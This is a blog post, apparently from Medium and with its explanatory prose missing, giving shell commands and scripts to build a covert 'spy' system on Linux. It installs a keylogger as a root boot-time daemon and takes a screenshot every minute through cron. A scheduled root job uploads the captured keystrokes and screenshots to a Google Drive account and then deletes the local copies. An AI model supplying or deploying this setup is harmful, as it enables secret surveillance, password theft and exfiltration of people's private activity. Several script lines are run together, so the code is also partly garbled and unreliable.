How to create a Spy/Monitoring System in *nix system

Mayank Gupta
Dec 27, 2018 · 8 min read
Credits: Unsplash

Step 1: Setup key logger

sudo apt-get install logkeys
mkdir ~/Logs                             #create directory for logs
touch ~/Logs/keys.log #you can use any file name
sudo logkeys --start -o ~/Logs/keys.log #only works as root
tail --follow ~/Logs/keys.log
cd ~/Logs
sudo logkeys --kill
sudo logkeys -m en_US_ubuntu_1204.map --start -o keys.log
sudo -H nano /etc/init.d/logkeys
DAEMON_OPTS="-s -m /opt/sys/log/en_US.map -o /opt/sys/log/keys.log"
logPath="/opt/sys/log"
cd $logPath
logFileToRemove=`ls | grep "keys*"`
rm $logFileToRemove
touch keys.log
Ctrl + X
Y
[Enter Key]
sudo service logkeys start

Step 2: Setting up the screenshot application

sudo apt-get install scrot

Step 3: Setting up Google Service Account for unhindered drive access

Step 4: Setting up Service Account’s GDrive

mkdir /opt/sys/src
cd /opt/sys/src
wget https://raw.githubusercontent.com/techfreakworm/spybot/master/sys/src/requirements.txt                # get the name and version of depspip install -r requirements.txt   # for current user
sudo su # shell as root user
pip install -r requirements.txt # install as root
python <SCRIPT_NAME ALONG WITH PATH>  
#Don't provide path if you're in same directory
mkdir /opt/sys/toUploadtouch /opt/sys/toUpload/demoScreenshot.png
touch /opt/sys/toUpload/demokeyLog.log
python uploadToDrive.py demokeyLog.log demoScreenshot.png

Step 5: Automation & Scheduling

#!/bin/bashuploadSourcePath="/opt/sys/toUpload"
logPath="/opt/sys/log"
srcPath="/opt/sys/src"
dateTime=`date '+%F_%T'`cd $logPathsourceFile=`ls | grep "keys_20*"`mv $sourceFile $uploadSourcePath/$sourceFile.txtmv /home/<YOUR USERNAME>/tempCache.png $uploadSourcePath/$dateTime.png
#!/bin/bashlogPath="/opt/sys/log"cd $logPath
dateTime=`date '+%F_%T'`
sourceFile="keys.log"
destinationFile="keys_$dateTime.log"
cp $sourceFile $destinationFile
#!/bin/bashsrcPath="/opt/sys/src"
uploadSourcePath="/opt/sys/toUpload"
cd $uploadSourcePath
cd $srcPath
./logRename.sh
echo "Logs Renamed"
./copyToUpload.sh
echo "Copied to upload directory"
photo=`ls $uploadSourcePath| grep "png"`
log=`ls $uploadSourcePath| grep "log"`
echo "variables set are:"echo $photo
echo $log
python uploadToDrive.py $log $photo
echo "Python script executed"
cd $uploadSourcePath
rm *.png
rm *.txt
echo "files removed"
crontab -e
* *   *   *   *    export DISPLAY=:1 && scrot  ~/tempCache.png
sudo nano /etc/crontab
*  *    * * *   root    cd /opt/sys/src/  && ./bootstrap.sh



Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade